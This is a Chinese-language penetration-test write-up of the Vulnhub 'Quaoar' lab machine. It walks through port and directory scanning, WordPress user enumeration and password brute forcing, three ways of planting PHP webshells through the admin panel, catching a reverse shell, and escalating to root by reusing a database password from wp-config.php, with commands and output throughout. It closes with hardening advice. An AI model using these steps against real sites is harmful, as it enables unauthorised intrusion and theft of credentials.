Quaoar 靶机渗透测试Vulnhub Writeup一、靶机与环境介绍本次实战目标为 Vulnhub 平台的 Quaoar 靶机靶机名取自柯伊伯带天体。该靶机同时开放 Web、DNS、邮件POP3/IMAP与 SMB 等多类服务核心路径为 WordPress 弱口令登录后通过后台写入 WebShell再利用配置文件密码复用提权至 root沿途收集三个 flag。攻击机为 Kali Linux192.168.153.162靶机地址经扫描确认为 192.168.153.168。二、信息收集一存活主机扫描┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.168 00:0c:29:ea:83:7d VMware, Inc.二端口扫描全端口扫描发现 9 个开放端口22SSH、53DNS、80HTTP、110/995POP3/POP3S、139/445SMB、143/993IMAP/IMAPS是一台典型的集成 Web、邮件与 SMB 服务的 Ubuntu 主机。┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.168 PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 993/tcp open imaps 995/tcp open pop3s┌──(root㉿kali)-[~] └─# nmap -p22,53,80,110,139,143,445,993,995 192.168.153.168 -sV -sC -O PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.8.1-P1 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-robots.txt: 1 disallowed entry |_Hackers 110/tcp open pop3 Dovecot pop3d 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 445/tcp open netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d MAC Address: 00:0C:29:EA:83:7D (VMware) |_nbstat: NetBIOS name: QUAOAR, NetBIOS user: unknown三目录扫描与指纹识别使用 dirsearch 爆破 Web 目录发现 /upload/ 与 /wordpress/ 路径whatweb 识别确认 /wordpress/ 为 WordPress 3.9.14、PHP 5.3.10。┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.168 [19:20:42] 200 - 954B - /README.md [19:20:42] 200 - 150B - /robots.txt [19:20:48] 301 - 249B - /upload - http://192.168.153.168/upload/ [19:20:50] 200 - 1KB - /wordpress/wp-login.php [19:20:50] 200 - 2KB - /wordpress/┌──(root㉿kali)-[~] └─# whatweb http://192.168.153.168/wordpress http://192.168.153.168/wordpress/ [200 OK] Apache[2.2.22], HTML5, JQuery[1.11.0], MetaGenerator[WordPress 3.9.14], PHP[5.3.10-1ubuntu3], Title[Quaoar | Just another WordPress site], WordPress[3.9.14], x-pingback[/wordpress/xmlrpc.php]三、WordPress 登录爆破使用 wpscan 枚举用户名得到 admin、wpuser 两个账号再用 rockyou.txt 字典对 admin 进行密码爆破命中弱口令 admin/admin。┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.168/wordpress/ -e u [] Enumerating Users (via Passive and Aggressive Methods) [] admin | Found By: Author Posts - Display Name (Passive Detection) [] wpuser | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.168/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt [] Performing password attack on Xmlrpc Multicall against 1 user/s [SUCCESS] - admin / admin [!] Valid Combinations Found: | Username: admin, Password: admin四、后台写入 WebShell 的三种方式一方式一主题编辑器登录后台后进入 Appearance → Editor → 404 Template404.php在文件开头写入 ?php system(id); ? 并保存。对照主题版本访问 /wordpress/wp-content/themes/twentyfourteen/404.php命令成功执行回显 www-data。http://192.168.153.168/wordpress/wp-content/themes/twentyfourteen/404.php二方式二插件编辑器进入 Plugins → Editor选择任意插件如 Akismet在 akismet/index.php 中写入 ?php system(whoami); ? 并保存。访问对应插件文件路径即可执行命令。http://192.168.153.168/wordpress/wp-content/plugins/akismet/index.php三方式三上传插件进入 Plugins → Add New → Upload Plugin将打包好的 WebShell 插件 zip 上传安装文件落盘路径为 /wordpress/wp-content/uploads/2026/08/test.php。访问上传后的 PHP 文件成功执行 phpinfo 等任意代码。http://192.168.153.168/wordpress/wp-content/uploads/2026/08/test.php任选一种方式拿到命令执行后本地 nc 监听 4444 端口传入反弹 Shell 命令即可上线当前权限为 www-data。┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.153.162] from (UNKNOWN) [192.168.153.168] 41906 www-dataQuaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ id uid33(www-data) gid33(www-data) groups33(www-data)五、收集三个 flag一flag 1普通用户家目录查看 /etc/passwd 发现 wpadmin 用户进入其家目录读取 flag.txt。www-dataQuaoar:$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash wpadmin:x:1001:1001::/home/wpadmin:/bin/sh www-dataQuaoar:$ cd /home/wpadmin www-dataQuaoar:/home/wpadmin$ ls -la -rw-r--r-- 1 wpadmin wpadmin 33 Oct 22 2016 flag.txt www-dataQuaoar:/home/wpadmin$ cat flag.txt 2bafe61f03117ac66a73c3c514de796e二flag 2cron 注释在 /etc/cron.d 目录下的 php5 文件注释中直接给出第二个 flag。www-dataQuaoar:$ cd /etc/cron.d www-dataQuaoar:/etc/cron.d$ cat php5 # /etc/cron.d/php5: crontab fragment for php5 # Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de # Look for and purge old sessions every 30 minutes 09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] ...三flag 3配置文件密码复用提权查看 WordPress 配置文件 wp-config.php发现数据库使用 root 账号连接且口令为 rootpassword!。直接尝试 su root 切换密码复用成功提权至 root 后读取 /root/flag.txt。www-dataQuaoar:/home/wpadmin$ cd /var/www/wordpress www-dataQuaoar:/var/www/wordpress$ cat wp-config.php define(DB_NAME, wordpress); define(DB_USER, root); define(DB_PASSWORD, rootpassword!); define(DB_HOST, localhost);www-dataQuaoar:/var/www/wordpress$ python -c import pty;pty.spawn(/bin/bash); www-dataQuaoar:/var/www/wordpress$ su root Password: rootpassword! rootQuaoar:/var/www/wordpress# id uid0(root) gid0(root) groups0(root) rootQuaoar:~# cat flag.txt 8e3f9ec016e3598c5eec11fd3d73f6fb六、总结Quaoar 靶机的完整攻击链如下1. 多端口扫描确认目标为集成 Web、邮件、SMB 服务的 Ubuntu 主机Web 目录暴露 WordPress 3.9.142. wpscan 枚举用户名并用 rockyou 爆破命中弱口令 admin/admin3. 后台通过主题编辑器、插件编辑器或上传插件三种方式写入 WebShell反弹 Shell 获得 www-data 权限4. 分别从 wpadmin 家目录、/etc/cron.d 注释、wp-config.php 配置中收集三个 flag5. 利用配置文件中 root 数据库口令复用 su root直接提权至最高权限。对应的安全建议① 及时升级 WordPress、PHP 与系统组件禁用后台文件编辑器与任意插件上传能力② 严禁使用 admin/admin 等弱口令配合登录失败锁定与强口令策略③ Web 应用连接数据库应使用最小权限专用账号禁止以 root 运行数据库④ 家目录、cron 配置等位置不应留存 flag 或敏感信息⑤ 对对外暴露的多类服务SMB、邮件、DNS应做最小化裁剪与访问控制。
